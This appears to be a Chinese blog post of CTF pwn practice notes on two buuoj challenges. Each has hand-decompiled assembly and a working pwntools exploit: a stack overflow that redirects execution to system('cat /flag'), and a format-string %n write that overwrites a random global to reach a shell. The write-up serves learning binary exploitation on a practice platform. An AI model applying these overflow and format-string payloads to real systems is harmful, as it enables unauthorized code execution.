pwn刷题笔记

发布时间 2023-04-04 09:36:49作者: summer14

做几道pwn题,不使用ida的反汇编功能。

 

buuoj:ciscn_2019_n_1

检查保护机制,只开启了数据段不可执行

  

 ida查看main函数汇编代码

  

 根据汇编代码写出main函数的反汇编代码

setvbuf(cs:__bss_start, 0, 2, 0);
servbuf(cs:stdin@@GLIBC_2_2_5, 0, 2, 0);
func();
return;

关键函数func

  

其中cs:dword_4007F4的值为

  

 因此func函数对应的反汇编代码为

func(){
    byte   var_30[44]      //字节型,char
    dword  var_4      //双字型,4字节浮点数,float
   var_4 = 0
 
    put("Let's guess the number.");
    gets(var_30);
    if(var_4 = 0x41348000)
        system("cat /flag");
    else
        loc_4006CF();
}

loc_4006CF(){
   puts("Its value should be 11.28125")
}

记录学习到的指令和寄存器:

  xmm:它们是 128 位宽,指令可以将它们视为 64、32(整数和浮点)、16 或 8 位(仅限整数)值的数组

  movss:移动单精度浮点数

    ucomiss:浮点数比较。改变寄存器ZF/PF/CF的值,表示大于/小于/等于

  pxor:按位异或

 

由汇编指令可知可控制的字符串var_30距离ebp为0x30字节,则距离返回地址为(0x30+8)。又知system("cat /flag")的执行地址为0x4006BE。

pwntool构造payload

#!/usr/bin/env python3

from pwn import *

p = remote("node4.buuoj.cn", 27953)
payload = b"a" * (48 + 8) + p64(0x4006BE)
p.sendline(payload)
p.interactive()

成功获得flag

  

 

 

 

[第五空间2019 决赛]PWN5

查看保护,开启了canary,说明不能用覆盖返回地址的方式执行代码。

  

ida查看汇编代码。

      

  

  

  

 挺长的,试试手搓反汇编

main(int x)        //执行push ebp之前,取出栈顶指针高四字节的栈元素,应该是main函数的参数
    int fd
    char nptr[16]
    char buf[100]
    int    var_c
    int anonymous_0[2]      //对比ida反汇编,这里应该是int指针

    sub_8049130();  //这个函数只执行了一条指令mov ebx,[esp+0],把当前栈顶指针的值赋给ebx,ebx用于在内存单元寻址
    
    var_c = 0x14;
    _setvbuf(,0,2,0);
    int seed = time(0);
    _srand(seed);
    fd = _open("/dev/urandom",0);
    _read(fd, &dword_804C044, 4);     //随机生成一个数放在内存&dword_804C044中
_printf("your name"); _read(0,buf,0x63);    //获取输入 
_printf(
"Hello,"); printf(buf); //危险函数,可构造格式化字符串泄漏内存地址
printf("your passwd");
_read(
0,nptr,0x0F);    //获取输入

if(_atoi(nptr) == &dword_804C044){  //判断输入是否与内存中804C044这个地址的数据相等
_puts(
"ok!!"); _system("/bin/sh");
}
else{ _puts("fail");
}

if(0x14 ^ var_c = 0)

return else sub_80493D0() //与sub_8049130()类似 return

与ida反汇编对比。没有分析出int *v7这个指针

  

分析:利用第一个输入,输入格式化字符串修改地址804C044的数据。再通过第二个输入,输入修改后的值

首先查看输入的字符串是printf()函数格式化字符串之后的第几个参数

 数出来是第十个

 

  验证是否正确

 

 构造payload修改地址中的数据

#!/usr/bin/env python3

from pwn import *
p = remote("node4.buuoj.cn", 29470)
payload = p32(0x804C044) + b'%10$n'         //'%10$n',表示把格式化字符串后第十个参数的数据当做地址,并把前面已经输出的字符数写入这个地址
p.sendlineafter("your name:", payload)
p.recvuntil("passwd:")
p.sendline("4")                   //'%10$n'前输出了b'0804C044'共四个字节,即字符数等于4
p.interactive()

 成功打通